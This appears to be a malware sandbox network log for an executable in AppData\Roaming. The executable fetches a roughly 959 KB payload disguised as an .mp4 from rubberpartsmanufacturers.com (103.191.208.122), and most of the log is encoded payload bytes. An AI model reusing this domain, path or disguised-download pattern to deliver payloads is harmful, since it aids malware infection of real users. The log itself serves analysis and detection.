2024-10-09 13:01:38 UTC	8000	IN	Data Raw: 1a b3 17 7f 75 07 79 13 cf ef d1 58 7e 08 f3 bc 5b f4 e6 bb 6a 08 2b 03 5c c8 fe 7b 53 af 83 69 db ad 67 d5 aa 23 45 0c 4b 36 4d 80 4b b5 2d c7 a3 a0 1c 95 52 a9 28 fe ad 72 25 cb f4 e2 16 73 e2 34 64 7d a0 3e fa ac e3 9a fa e7 2a c0 78 b7 0a fd 40 b2 0a 0b e8 2b 3f bb 8b fc f9 cf 60 55 04 32 39 2a 2d 92 2c 56 78 c6 31 a5 fd 3a d8 87 a4 c7 66 c3 ef 55 26 1d 13 c6 39 e4 5a f0 55 be 70 5c 70 5c ba 5d f4 0c 70 fe 57 ff 34 43 f6 9c 32 49 d5 00 19 40 2f d3 91 d6 f0 64 14 bd 7f 49 d2 dd 13 92 c1 01 64 01 d1 00 2f 9b 0c e8 aa d1 1f 1a b7 61 09 8a e5 98 cb f6 bc 6f 20 6b c3 d2 c6 de 23 02 dc e1 34 47 99 93 6f ae f5 7e 0e c4 94 c7 58 6c 37 cc 59 4d 74 32 bd 43 02 a9 05 38 11 b3 58 ca 04 8d ff a1 c9 c5 0f 8c 53 ec 67 d1 75 a6 0e 8d de 2b ee 58 29 99 f7 62 ed 30 d3 Data Ascii: uyX~[j+\{Sig#EK6MK-R(r%s4d}>x@+?`U29-,Vx1:fU&9ZUp\p\]pW4C2I@/dId/ao k#4Go~Xl7YMt2C8XSgu+X)b0
2024-10-09 13:01:38 UTC	8000	IN	Data Raw: 30 06 f2 49 8f 29 4e 0f 70 49 10 e1 4d 9b 65 31 25 aa ae 16 d9 cb eb 16 a5 0d 0b 4e 14 71 e5 96 82 6b 7a 79 33 a1 5d 96 58 89 91 d7 b6 fc 50 9d 6f 5a 3e c5 42 9c 73 ad bc 57 56 28 36 77 fd fd 1a 40 1d 36 02 da 6a 56 50 03 a5 02 6f 3d fa b9 3c a5 d3 cb 45 e1 91 92 d7 8b c2 fe f2 2e a0 d3 f1 64 7e d1 30 6e 5e 38 ec f1 75 1c 5e 30 be 22 b1 6b cc 87 1a c1 c0 05 64 55 e7 a0 88 aa 49 d8 7b bf df aa 11 7b 5c 14 03 50 76 69 bd 6b 81 51 5e 8b 7f 39 3c a6 41 98 b7 c0 c6 7d 95 41 64 b7 3b dd ed 8b 7a 71 a3 9c 8f 8d 67 3b 8f 0a 92 91 18 b7 86 5a 81 39 9e f5 a8 f5 4c 0d 6c 52 18 81 93 b9 ee f6 d0 9f 92 71 fc a7 90 db 98 d5 3b 98 b6 b0 d0 26 95 12 50 b6 ac 33 54 4b 70 bb ba 3e 83 94 03 13 e8 b3 97 2a 66 77 21 56 f8 ae 3f d8 37 cb b1 40 ec bf 05 44 09 e5 df 66 02 44 b3 Data Ascii: 0I)NpIMe1%Nqkzy3]XPoZ>BsWV(6w@6jVPo=<E.d~0n^8u^0"kdUI{{\PvikQ^9<A}Ad;zqg;Z9LlRq;&P3TKp>*fw!V?7@DfD
2024-10-09 13:01:38 UTC	8000	IN	Data Raw: d9 13 75 01 96 3c 96 1c 60 80 27 7f c3 80 15 6a 8e f3 88 98 31 d0 5b e5 2e 15 93 ed 58 bf ce ed 8c 37 99 b9 40 56 41 8a 90 69 98 dd ef f1 6d f5 95 00 df 40 31 88 48 a1 d0 ff a8 b9 c2 12 b0 57 d3 09 99 4c 77 40 10 b7 38 0e 0f 8d 07 96 f7 d6 56 4a f2 54 6a 64 82 1a 4c af 8f ca 93 98 9b 62 5a be c7 39 79 12 de 68 6a 90 8a 80 89 29 71 f5 0b a6 81 dc 43 26 5b e0 7e d9 42 ca 33 55 3a 29 e7 f2 53 9c 09 2f 0c a7 e8 0b c3 9e 33 b2 c6 e2 fc 89 2b 07 73 13 83 59 84 6f af 47 0b 70 6a d2 7c eb b2 b6 1e 60 39 6d 46 c8 ca f1 31 53 50 75 e0 76 c1 cc 58 e3 ce 4a 44 ab b8 cf 79 50 f7 d2 33 90 04 e0 6f 2e 7d 17 80 f6 a7 97 a1 52 87 54 a2 df c5 8f 18 7c 0d 65 89 ec e6 76 04 dd c1 94 0c c9 9a 79 61 6d cc 7c 87 f1 b2 54 12 55 38 2c 87 91 f2 a0 46 01 c3 19 a6 66 e3 01 7e 19 27 Data Ascii: u<`'j1[.X7@VAim@1HWLw@8VJTjdLbZ9yhj)qC&[~B3U:)S/3+sYoGpj\|`9mF1SPuvXJDyP3o.}RT\|evyam\|TU8,Ff~'
2024-10-09 13:01:38 UTC	8000	IN	Data Raw: 50 32 ff 4b 3f af b0 33 ec 1d 96 0d a7 bf ed ea 5e 56 f1 2a 40 6d 43 2d f0 4f f1 36 ad 80 78 d1 52 9d d2 07 74 7f 51 f6 31 e1 e1 cd 1d b3 61 36 63 b2 50 58 32 54 48 f3 84 c9 52 c8 46 90 0d 67 a4 d0 cb c8 50 08 a7 5e 37 62 57 85 ea 68 1a 8f 74 57 25 b8 5f e9 5d 6a 82 ed 57 28 0e b1 0b 51 06 2c 9a ac 5b f5 90 bd 42 92 8e 57 9f 49 95 5a a7 21 3b 48 4b e8 3a 6d 37 f4 29 35 87 85 1b 1f 78 1b f8 3a 5b 77 27 b8 7e 13 f2 e1 44 98 d5 6f 33 18 ca 45 4c de 4e 47 fe 13 79 3c d2 56 96 e4 d0 a7 3a 98 b1 65 0d 96 3b d3 e1 5e b4 3e 3b 08 cf 56 6d bf b3 3d 6d 1e 1c bc b8 1d f8 07 d1 36 cc 7c 7d b6 2d e9 c7 62 f4 54 cf f6 45 94 91 42 8a 58 b6 23 44 c0 e8 fc bd a1 eb b7 d8 54 58 4b 21 fb 18 ff af aa 5c b6 99 c0 3d 55 8a c6 f7 64 7d 49 3c 75 16 59 61 97 aa 00 40 1a 7d 8b 20 Data Ascii: P2K?3^V*@mC-O6xRtQ1a6cPX2THRFgP^7bWhtW%_]jW(Q,[BWIZ!;HK:m7)5x:[w'~Do3ELNGy<V:e;^>;Vm=m6\|}-bTEBX#DTXK!\=Ud}I<uYa@}
2024-10-09 13:01:38 UTC	8000	IN	Data Raw: 1d 8a bf 75 2d cc ee e4 41 90 85 e4 0f 9e 47 2f 3a 5a 10 b9 52 98 68 39 e0 7d 50 88 d8 22 ac 38 e7 09 6a 84 13 26 e4 ab 33 ce 3b 15 0c a8 62 de 65 2c af e0 95 07 d5 1c 38 7f 4d 2b f3 83 37 c9 1c 1b f6 af 1c d6 73 d2 ce 1f 44 76 d3 b9 e8 26 58 b2 b3 10 3d ce a5 88 f1 4a 13 38 fa 63 e5 5e c1 6b 5c 33 ab 22 74 8c 8c 30 9c f8 5c 22 cc 27 ba a8 63 b5 8c 89 a9 46 72 5e 2a 6c 0e 57 2a 38 2f b0 ae ed 0e 92 59 32 65 79 45 16 31 2e 70 fa 1f cc fd 56 fc e8 30 2a e4 6b 39 6a a8 88 ec 8a de 5a 2d ca 6e d8 d0 c1 b3 a7 93 eb 56 69 74 39 7d 72 4b 06 13 e3 fe 73 3b ca b9 33 a4 2c bd 28 ce e0 a8 b4 5d f4 b8 23 a9 8c fd af 89 91 9b 74 82 af 9a 76 0b 35 c0 a1 9d ad 38 7e 3f 89 05 25 f5 e4 9d 68 4d 53 47 fe 36 a0 62 69 9b 5c 72 a1 06 03 66 6c ce 2c ff 16 82 23 00 76 d7 a9 9b Data Ascii: u-AG/:ZRh9}P"8j&3;be,8M+7sDv&X=J8c^k\3"t0\"'cFr^lW8/Y2eyE1.pV0*k9jZ-nVit9}rKs;3,(]#tv58~?%hMSG6bi\rfl,#v
2024-10-09 13:01:38 UTC	8000	IN	Data Raw: da 1d 2c 51 0b 48 d0 b0 57 51 b3 44 1d 40 1f 53 ea 98 4f c5 cf b7 e1 c9 df 10 0d 0f 11 26 c8 71 36 f8 e0 2f 7f 39 b4 8b 83 a0 a9 2e a0 5b 3e 4d cc 79 20 36 d4 07 2a 00 a8 6d 4f e1 da 53 fa 23 6d f0 39 ca 60 81 87 66 e1 d0 20 e8 22 c3 6e 08 a0 48 ca 6e 8b 08 70 39 c3 3c e5 3f 20 17 fd 1b 98 10 b7 98 28 35 ea e3 34 b7 0f 7a ef 95 f2 43 4a 77 73 e8 e8 9e bf d6 ec b8 5c 3b 9a e5 06 80 3c e5 24 8b 32 52 56 4b ad 17 15 03 9c bd 37 c9 65 f6 f4 40 06 f2 7a bc c4 ae f8 f0 2d fd 11 3f 59 1f 68 8f 24 c9 c3 52 ec 66 24 cb 41 85 16 d6 13 2f 4b b1 82 24 20 8b b3 bf b7 de ba 91 a0 b1 e8 1e 95 55 a4 a2 b3 62 ab f8 e7 3e dd 71 ad 2e eb 82 c4 2a 24 48 e0 a5 0d 4f c6 7a a8 fa fb 3e a5 56 d3 f9 d5 d4 42 ca 68 26 4c 6d c6 a7 b9 44 e7 8e c4 d7 3c 83 5b 11 6d 3f f5 dc 14 d3 0c Data Ascii: ,QHWQD@SO&q6/9.[>My 6mOS#m9`f "nHnp9<? (54zCJws\;<$2RVK7e@z-?Yh$Rf$A/K$ Ub>q.$HOz>VBh&LmD<[m?
2024-10-09 13:01:38 UTC	8000	IN	Data Raw: dd 01 b8 33 bb 76 d4 e0 a7 97 cb 81 3e 16 97 a7 00 a7 25 ae a7 d5 09 7c 1a 3c cf 7e bb b4 6d 71 72 24 dc e7 f3 6d 86 5c 58 f4 ed 8d 45 ca a1 f9 21 01 e1 5d ef ba a2 51 f8 bf ce 65 ff ca 52 a1 7a ab 15 81 95 ff 1a 61 a3 22 8a 5c f1 01 77 23 16 62 c6 a2 ae 01 63 17 b0 f6 23 e1 f2 c6 13 49 47 69 3a f2 54 40 b5 3d 67 20 4e 95 e1 4a 63 18 a8 47 39 83 d2 ed a2 fe 00 c0 ce e7 b0 0c 3d d5 9b 11 9b b8 63 56 19 ce 86 86 0f 8b 58 ee 07 e7 c0 33 a8 0b 75 fd c7 e0 fc 12 f4 6e d0 16 34 06 d3 29 3a 8f 0b 02 fd 6f fa f5 46 1f 5d 69 80 80 4a 18 78 96 d9 af 53 50 a1 da 49 3f 03 db c2 8f c8 86 cb aa 82 84 3b 77 25 9d 4b e0 74 f0 1e 60 16 13 08 17 f7 2d ce 1c 1b 9f dc 7d 9c 46 fb 26 2b 60 f0 59 15 03 f3 aa 6c 3a 6a 5d 09 c9 cf 3c 62 ba 5f fc 7f 73 69 5f 49 f0 1c 62 f5 19 da Data Ascii: 3v>%\|<~mqr$m\XE!]QeRza"\w#bc#IGi:T@=g NJcG9=cVX3un4):oF]iJxSPI?;w%Kt`-}F&+`Yl:j]<b_si_Ib
2024-10-09 13:01:38 UTC	8000	IN	Data Raw: 95 56 61 0f 61 8f ce b9 86 30 8f fb 99 97 5e 84 b9 91 bb b0 20 17 48 12 3f 9d 40 e5 85 31 7d 29 be 90 c9 f3 72 3d 38 de be 52 fc 41 63 77 75 53 ac f5 6e 1a cb 40 f4 55 03 88 3f 89 a5 18 19 12 ec 3e 60 1d cd b3 05 fb 23 a0 5b 91 3b 2f 7c ff 14 28 99 8f df 38 db a5 ca 75 2b 76 33 17 27 4f 0a d1 6c fe 3c 76 aa 51 b3 e8 45 d1 ba fa cd 4f 48 17 5e 4f 68 57 31 2a 40 22 e2 4e df 55 83 bb 7e 5b 79 93 d1 51 cf 49 dd bd 60 60 4a b7 67 8a e5 33 a9 72 43 61 07 60 ff c7 55 6b 59 f9 a0 0c 9d 1e 31 70 2e 32 71 f1 e7 7b 8d 94 0d bb 29 6f ec a7 d9 91 4c ca c4 f7 8b 31 0d 54 29 cb 46 60 6a b2 8e 77 20 64 8a 20 d0 3f cb 94 41 08 a2 3f 97 eb 32 46 bc 69 14 98 d2 ab ed 09 4b bc 34 cc fe 75 70 c3 0d 6c 55 36 0e 29 64 2b bb 26 c1 7b 92 02 53 97 7b 68 96 0d d3 12 f8 9b 7f d0 3f Data Ascii: Vaa0^ H?@1})r=8RAcwuSn@U?>`#[;/\|(8u+v3'Ol<vQEOH^OhW1*@"NU~[yQI``Jg3rCa`UkY1p.2q{)oL1T)F`jw d ?A?2FiK4uplU6)d+&{S{h?
2024-10-09 13:01:38 UTC	8000	IN	Data Raw: 3c bb ee c0 25 a7 cb 08 3c 34 bc b2 22 90 76 40 3d bb 29 7e 17 a5 a4 6b a7 fb d0 0c 06 5f 5c 60 ba eb 6c 59 13 8f f0 ed db 91 65 f9 b6 a6 26 9d 4d cf 4d 03 69 70 5a 9b ed 45 e3 fc 3e aa 38 5a e5 9a 0b e2 19 03 e8 11 af b8 81 2c a0 5c fd bd 6a db 2a 42 59 97 3b 9f 7e 63 47 a1 4a b6 8a f6 5b dc e5 9b 3b eb 3b c2 d4 df b7 e0 56 af 3f 08 94 fd e4 41 3a ae f3 1f 95 18 06 98 da 66 94 6c b2 dc 1b 96 9f a5 8f 6c 66 4e e8 e1 06 be 12 34 15 a9 4a f4 86 83 6a 20 00 df b9 96 a8 55 82 d8 0c 98 15 34 95 eb 44 78 05 d4 53 ea 2e 7e 6b fd 40 7f 71 a0 f6 45 aa 1e 31 b3 af c7 69 c4 02 6d 24 46 ef 59 ee 21 7b 7d 89 3f 97 58 12 81 f1 86 1b 49 b0 d1 c5 36 8e b6 1e 8c 5e db 21 f6 46 50 80 09 d2 bb 5d ae 4c 5d c4 9a 10 80 a1 a8 56 24 08 b6 b2 b0 e4 91 78 46 81 66 6e 80 8e c0 ac Data Ascii: <%<4"v@=)~k_\`lYe&MMipZE>8Z,\j*BY;~cGJ[;;V?A:fllfN4Jj U4DxS.~k@qE1im$FY!{}?XI6^!FP]L]V$xFfn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49818	103.191.208.122	443	7784	C:\Users\user\AppData\Roaming\Fqhnalw.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 13:01:55 UTC	98	OUT	GET /manxz/Pqbrsrcnsx.mp4 HTTP/1.1 Host: rubberpartsmanufacturers.com Connection: Keep-Alive
2024-10-09 13:01:56 UTC	234	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 13:01:56 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 09 Oct 2024 11:18:34 GMT Accept-Ranges: bytes Content-Length: 959504 Content-Type: video/mp4
2024-10-09 13:01:56 UTC	7958	IN	Data Raw: e2 28 15 53 f2 7b 15 07 aa d5 4d 1f 3b 2f 02 b6 03 27 fc aa 10 81 f7 c9 70 03 06 1c 22 aa 28 14 82 64 60 6b 1d 58 9a 33 26 ca 89 1a 85 b6 02 35 c2 db b3 17 1a 22 10 f8 52 46 a8 05 84 68 55 5f e8 21 39 2d 11 b0 72 e6 9d 6e 2e ad 62 02 65 3f ed 94 ae 42 c5 65 1f 2b 34 3c a4 a9 27 e5 15 4a cf ec 32 19 8c 82 8b 31 18 2b a1 e1 73 86 35 da 64 25 b7 00 79 1e 25 db 5f a0 a0 08 cd 61 d3 2f 8c 90 ca 6b a1 14 94 60 4f b2 d2 51 ec 16 0a 4a dd 58 71 61 70 b3 f2 b8 2d a3 10 12 5c 74 07 4a fe 91 81 8e c3 6d 8f b8 9b 5a 61 4e ac 3e 0f 1a c8 cb d9 30 fe 29 a8 48 31 23 94 28 92 fe d3 4d 2b bf 49 6d 42 09 ef 8b 4c 83 f8 fd 25 9f 39 71 61 4f c4 84 1c 4a e3 7a 18 96 a9 89 f9 08 06 f7 8d f7 2b b0 de 09 d9 91 64 d2 a3 bc be 29 76 2c 19 e1 cc 3f 71 5e 9d 69 81 f0 1a 05 77 d7 5f Data Ascii: (S{M;/'p"(d`kX3&5"RFhU_!9-rn.be?Be+4<'J21+s5d%y%_a/k`OQJXqap-\tJmZaN>0)H1#(M+ImBL%9qaOJz+d)v,?q^iw_
2024-10-09 13:01:56 UTC	8000	IN	Data Raw: 1a b3 17 7f 75 07 79 13 cf ef d1 58 7e 08 f3 bc 5b f4 e6 bb 6a 08 2b 03 5c c8 fe 7b 53 af 83 69 db ad 67 d5 aa 23 45 0c 4b 36 4d 80 4b b5 2d c7 a3 a0 1c 95 52 a9 28 fe ad 72 25 cb f4 e2 16 73 e2 34 64 7d a0 3e fa ac e3 9a fa e7 2a c0 78 b7 0a fd 40 b2 0a 0b e8 2b 3f bb 8b fc f9 cf 60 55 04 32 39 2a 2d 92 2c 56 78 c6 31 a5 fd 3a d8 87 a4 c7 66 c3 ef 55 26 1d 13 c6 39 e4 5a f0 55 be 70 5c 70 5c ba 5d f4 0c 70 fe 57 ff 34 43 f6 9c 32 49 d5 00 19 40 2f d3 91 d6 f0 64 14 bd 7f 49 d2 dd 13 92 c1 01 64 01 d1 00 2f 9b 0c e8 aa d1 1f 1a b7 61 09 8a e5 98 cb f6 bc 6f 20 6b c3 d2 c6 de 23 02 dc e1 34 47 99 93 6f ae f5 7e 0e c4 94 c7 58 6c 37 cc 59 4d 74 32 bd 43 02 a9 05 38 11 b3 58 ca 04 8d ff a1 c9 c5 0f 8c 53 ec 67 d1 75 a6 0e 8d de 2b ee 58 29 99 f7 62 ed 30 d3 Data Ascii: uyX~[j+\{Sig#EK6MK-R(r%s4d}>x@+?`U29-,Vx1:fU&9ZUp\p\]pW4C2I@/dId/ao k#4Go~Xl7YMt2C8XSgu+X)b0
2024-10-09 13:01:56 UTC	8000	IN	Data Raw: 30 06 f2 49 8f 29 4e 0f 70 49 10 e1 4d 9b 65 31 25 aa ae 16 d9 cb eb 16 a5 0d 0b 4e 14 71 e5 96 82 6b 7a 79 33 a1 5d 96 58 89 91 d7 b6 fc 50 9d 6f 5a 3e c5 42 9c 73 ad bc 57 56 28 36 77 fd fd 1a 40 1d 36 02 da 6a 56 50 03 a5 02 6f 3d fa b9 3c a5 d3 cb 45 e1 91 92 d7 8b c2 fe f2 2e a0 d3 f1 64 7e d1 30 6e 5e 38 ec f1 75 1c 5e 30 be 22 b1 6b cc 87 1a c1 c0 05 64 55 e7 a0 88 aa 49 d8 7b bf df aa 11 7b 5c 14 03 50 76 69 bd 6b 81 51 5e 8b 7f 39 3c a6 41 98 b7 c0 c6 7d 95 41 64 b7 3b dd ed 8b 7a 71 a3 9c 8f 8d 67 3b 8f 0a 92 91 18 b7 86 5a 81 39 9e f5 a8 f5 4c 0d 6c 52 18 81 93 b9 ee f6 d0 9f 92 71 fc a7 90 db 98 d5 3b 98 b6 b0 d0 26 95 12 50 b6 ac 33 54 4b 70 bb ba 3e 83 94 03 13 e8 b3 97 2a 66 77 21 56 f8 ae 3f d8 37 cb b1 40 ec bf 05 44 09 e5 df 66 02 44 b3 Data Ascii: 0I)NpIMe1%Nqkzy3]XPoZ>BsWV(6w@6jVPo=<E.d~0n^8u^0"kdUI{{\PvikQ^9<A}Ad;zqg;Z9LlRq;&P3TKp>*fw!V?7@DfD
2024-10-09 13:01:56 UTC	8000	IN	Data Raw: d9 13 75 01 96 3c 96 1c 60 80 27 7f c3 80 15 6a 8e f3 88 98 31 d0 5b e5 2e 15 93 ed 58 bf ce ed 8c 37 99 b9 40 56 41 8a 90 69 98 dd ef f1 6d f5 95 00 df 40 31 88 48 a1 d0 ff a8 b9 c2 12 b0 57 d3 09 99 4c 77 40 10 b7 38 0e 0f 8d 07 96 f7 d6 56 4a f2 54 6a 64 82 1a 4c af 8f ca 93 98 9b 62 5a be c7 39 79 12 de 68 6a 90 8a 80 89 29 71 f5 0b a6 81 dc 43 26 5b e0 7e d9 42 ca 33 55 3a 29 e7 f2 53 9c 09 2f 0c a7 e8 0b c3 9e 33 b2 c6 e2 fc 89 2b 07 73 13 83 59 84 6f af 47 0b 70 6a d2 7c eb b2 b6 1e 60 39 6d 46 c8 ca f1 31 53 50 75 e0 76 c1 cc 58 e3 ce 4a 44 ab b8 cf 79 50 f7 d2 33 90 04 e0 6f 2e 7d 17 80 f6 a7 97 a1 52 87 54 a2 df c5 8f 18 7c 0d 65 89 ec e6 76 04 dd c1 94 0c c9 9a 79 61 6d cc 7c 87 f1 b2 54 12 55 38 2c 87 91 f2 a0 46 01 c3 19 a6 66 e3 01 7e 19 27 Data Ascii: u<`'j1[.X7@VAim@1HWLw@8VJTjdLbZ9yhj)qC&[~B3U:)S/3+sYoGpj\|`9mF1SPuvXJDyP3o.}RT\|evyam\|TU8,Ff~'
2024-10-09 13:01:56 UTC	8000	IN	Data Raw: 50 32 ff 4b 3f af b0 33 ec 1d 96 0d a7 bf ed ea 5e 56 f1 2a 40 6d 43 2d f0 4f f1 36 ad 80 78 d1 52 9d d2 07 74 7f 51 f6 31 e1 e1 cd 1d b3 61 36 63 b2 50 58 32 54 48 f3 84 c9 52 c8 46 90 0d 67 a4 d0 cb c8 50 08 a7 5e 37 62 57 85 ea 68 1a 8f 74 57 25 b8 5f e9 5d 6a 82 ed 57 28 0e b1 0b 51 06 2c 9a ac 5b f5 90 bd 42 92 8e 57 9f 49 95 5a a7 21 3b 48 4b e8 3a 6d 37 f4 29 35 87 85 1b 1f 78 1b f8 3a 5b 77 27 b8 7e 13 f2 e1 44 98 d5 6f 33 18 ca 45 4c de 4e 47 fe 13 79 3c d2 56 96 e4 d0 a7 3a 98 b1 65 0d 96 3b d3 e1 5e b4 3e 3b 08 cf 56 6d bf b3 3d 6d 1e 1c bc b8 1d f8 07 d1 36 cc 7c 7d b6 2d e9 c7 62 f4 54 cf f6 45 94 91 42 8a 58 b6 23 44 c0 e8 fc bd a1 eb b7 d8 54 58 4b 21 fb 18 ff af aa 5c b6 99 c0 3d 55 8a c6 f7 64 7d 49 3c 75 16 59 61 97 aa 00 40 1a 7d 8b 20 Data Ascii: P2K?3^V*@mC-O6xRtQ1a6cPX2THRFgP^7bWhtW%_]jW(Q,[BWIZ!;HK:m7)5x:[w'~Do3ELNGy<V:e;^>;Vm=m6\|}-bTEBX#DTXK!\=Ud}I<uYa@}
2024-10-09 13:01:56 UTC	8000	IN	Data Raw: 1d 8a bf 75 2d cc ee e4 41 90 85 e4 0f 9e 47 2f 3a 5a 10 b9 52 98 68 39 e0 7d 50 88 d8 22 ac 38 e7 09 6a 84 13 26 e4 ab 33 ce 3b 15 0c a8 62 de 65 2c af e0 95 07 d5 1c 38 7f 4d 2b f3 83 37 c9 1c 1b f6 af 1c d6 73 d2 ce 1f 44 76 d3 b9 e8 26 58 b2 b3 10 3d ce a5 88 f1 4a 13 38 fa 63 e5 5e c1 6b 5c 33 ab 22 74 8c 8c 30 9c f8 5c 22 cc 27 ba a8 63 b5 8c 89 a9 46 72 5e 2a 6c 0e 57 2a 38 2f b0 ae ed 0e 92 59 32 65 79 45 16 31 2e 70 fa 1f cc fd 56 fc e8 30 2a e4 6b 39 6a a8 88 ec 8a de 5a 2d ca 6e d8 d0 c1 b3 a7 93 eb 56 69 74 39 7d 72 4b 06 13 e3 fe 73 3b ca b9 33 a4 2c bd 28 ce e0 a8 b4 5d f4 b8 23 a9 8c fd af 89 91 9b 74 82 af 9a 76 0b 35 c0 a1 9d ad 38 7e 3f 89 05 25 f5 e4 9d 68 4d 53 47 fe 36 a0 62 69 9b 5c 72 a1 06 03 66 6c ce 2c ff 16 82 23 00 76 d7 a9 9b Data Ascii: u-AG/:ZRh9}P"8j&3;be,8M+7sDv&X=J8c^k\3"t0\"'cFr^lW8/Y2eyE1.pV0*k9jZ-nVit9}rKs;3,(]#tv58~?%hMSG6bi\rfl,#v
2024-10-09 13:01:56 UTC	8000	IN	Data Raw: da 1d 2c 51 0b 48 d0 b0 57 51 b3 44 1d 40 1f 53 ea 98 4f c5 cf b7 e1 c9 df 10 0d 0f 11 26 c8 71 36 f8 e0 2f 7f 39 b4 8b 83 a0 a9 2e a0 5b 3e 4d cc 79 20 36 d4 07 2a 00 a8 6d 4f e1 da 53 fa 23 6d f0 39 ca 60 81 87 66 e1 d0 20 e8 22 c3 6e 08 a0 48 ca 6e 8b 08 70 39 c3 3c e5 3f 20 17 fd 1b 98 10 b7 98 28 35 ea e3 34 b7 0f 7a ef 95 f2 43 4a 77 73 e8 e8 9e bf d6 ec b8 5c 3b 9a e5 06 80 3c e5 24 8b 32 52 56 4b ad 17 15 03 9c bd 37 c9 65 f6 f4 40 06 f2 7a bc c4 ae f8 f0 2d fd 11 3f 59 1f 68 8f 24 c9 c3 52 ec 66 24 cb 41 85 16 d6 13 2f 4b b1 82 24 20 8b b3 bf b7 de ba 91 a0 b1 e8 1e 95 55 a4 a2 b3 62 ab f8 e7 3e dd 71 ad 2e eb 82 c4 2a 24 48 e0 a5 0d 4f c6 7a a8 fa fb 3e a5 56 d3 f9 d5 d4 42 ca 68 26 4c 6d c6 a7 b9 44 e7 8e c4 d7 3c 83 5b 11 6d 3f f5 dc 14 d3 0c Data Ascii: ,QHWQD@SO&q6/9.[>My 6mOS#m9`f "nHnp9<? (54zCJws\;<$2RVK7e@z-?Yh$Rf$A/K$ Ub>q.$HOz>VBh&LmD<[m?
2024-10-09 13:01:56 UTC	8000	IN	Data Raw: dd 01 b8 33 bb 76 d4 e0 a7 97 cb 81 3e 16 97 a7 00 a7 25 ae a7 d5 09 7c 1a 3c cf 7e bb b4 6d 71 72 24 dc e7 f3 6d 86 5c 58 f4 ed 8d 45 ca a1 f9 21 01 e1 5d ef ba a2 51 f8 bf ce 65 ff ca 52 a1 7a ab 15 81 95 ff 1a 61 a3 22 8a 5c f1 01 77 23 16 62 c6 a2 ae 01 63 17 b0 f6 23 e1 f2 c6 13 49 47 69 3a f2 54 40 b5 3d 67 20 4e 95 e1 4a 63 18 a8 47 39 83 d2 ed a2 fe 00 c0 ce e7 b0 0c 3d d5 9b 11 9b b8 63 56 19 ce 86 86 0f 8b 58 ee 07 e7 c0 33 a8 0b 75 fd c7 e0 fc 12 f4 6e d0 16 34 06 d3 29 3a 8f 0b 02 fd 6f fa f5 46 1f 5d 69 80 80 4a 18 78 96 d9 af 53 50 a1 da 49 3f 03 db c2 8f c8 86 cb aa 82 84 3b 77 25 9d 4b e0 74 f0 1e 60 16 13 08 17 f7 2d ce 1c 1b 9f dc 7d 9c 46 fb 26 2b 60 f0 59 15 03 f3 aa 6c 3a 6a 5d 09 c9 cf 3c 62 ba 5f fc 7f 73 69 5f 49 f0 1c 62 f5 19 da Data Ascii: 3v>%\|<~mqr$m\XE!]QeRza"\w#bc#IGi:T@=g NJcG9=cVX3un4):oF]iJxSPI?;w%Kt`-}F&+`Yl:j]<b_si_Ib
2024-10-09 13:01:56 UTC	8000	IN	Data Raw: 95 56 61 0f 61 8f ce b9 86 30 8f fb 99 97 5e 84 b9 91 bb b0 20 17 48 12 3f 9d 40 e5 85 31 7d 29 be 90 c9 f3 72 3d 38 de be 52 fc 41 63 77 75 53 ac f5 6e 1a cb 40 f4 55 03 88 3f 89 a5 18 19 12 ec 3e 60 1d cd b3 05 fb 23 a0 5b 91 3b 2f 7c ff 14 28 99 8f df 38 db a5 ca 75 2b 76 33 17 27 4f 0a d1 6c fe 3c 76 aa 51 b3 e8 45 d1 ba fa cd 4f 48 17 5e 4f 68 57 31 2a 40 22 e2 4e df 55 83 bb 7e 5b 79 93 d1 51 cf 49 dd bd 60 60 4a b7 67 8a e5 33 a9 72 43 61 07 60 ff c7 55 6b 59 f9 a0 0c 9d 1e 31 70 2e 32 71 f1 e7 7b 8d 94 0d bb 29 6f ec a7 d9 91 4c ca c4 f7 8b 31 0d 54 29 cb 46 60 6a b2 8e 77 20 64 8a 20 d0 3f cb 94 41 08 a2 3f 97 eb 32 46 bc 69 14 98 d2 ab ed 09 4b bc 34 cc fe 75 70 c3 0d 6c 55 36 0e 29 64 2b bb 26 c1 7b 92 02 53 97 7b 68 96 0d d3 12 f8 9b 7f d0 3f Data Ascii: Vaa0^ H?@1})r=8RAcwuSn@U?>`#[;/\|(8u+v3'Ol<vQEOH^OhW1*@"NU~[yQI``Jg3rCa`UkY1p.2q{)oL1T)F`jw d ?A?2FiK4uplU6)d+&{S{h?
2024-10-09 13:01:56 UTC	8000	IN	Data Raw: 3c bb ee c0 25 a7 cb 08 3c 34 bc b2 22 90 76 40 3d bb 29 7e 17 a5 a4 6b a7 fb d0 0c 06 5f 5c 60 ba eb 6c 59 13 8f f0 ed db 91 65 f9 b6 a6 26 9d 4d cf 4d 03 69 70 5a 9b ed 45 e3 fc 3e aa 38 5a e5 9a 0b e2 19 03 e8 11 af b8 81 2c a0 5c fd bd 6a db 2a 42 59 97 3b 9f 7e 63 47 a1 4a b6 8a f6 5b dc e5 9b 3b eb 3b c2 d4 df b7 e0 56 af 3f 08 94 fd e4 41 3a ae f3 1f 95 18 06 98 da 66 94 6c b2 dc 1b 96 9f a5 8f 6c 66 4e e8 e1 06 be 12 34 15 a9 4a f4 86 83 6a 20 00 df b9 96 a8 55 82 d8 0c 98 15 34 95 eb 44 78 05 d4 53 ea 2e 7e 6b fd 40 7f 71 a0 f6 45 aa 1e 31 b3 af c7 69 c4 02 6d 24 46 ef 59 ee 21 7b 7d 89 3f 97 58 12 81 f1 86 1b 49 b0 d1 c5 36 8e b6 1e 8c 5e db 21 f6 46 50 80 09 d2 bb 5d ae 4c 5d c4 9a 10 80 a1 a8 56 24 08 b6 b2 b0 e4 91 78 46 81 66 6e 80 8e c0 ac Data Ascii: <%<4"v@=)~k_\`lYe&MMipZE>8Z,\j*BY;~cGJ[;;V?A:fllfN4Jj U4DxS.~k@qE1im$FY!{}?XI6^!FP]L]V$xFfn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49870	103.191.208.122	443	7972	C:\Users\user\AppData\Roaming\Fqhnalw.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 13:02:03 UTC	98	OUT	GET /manxz/Pqbrsrcnsx.mp4 HTTP/1.1 Host: rubberpartsmanufacturers.com Connection: Keep-Alive
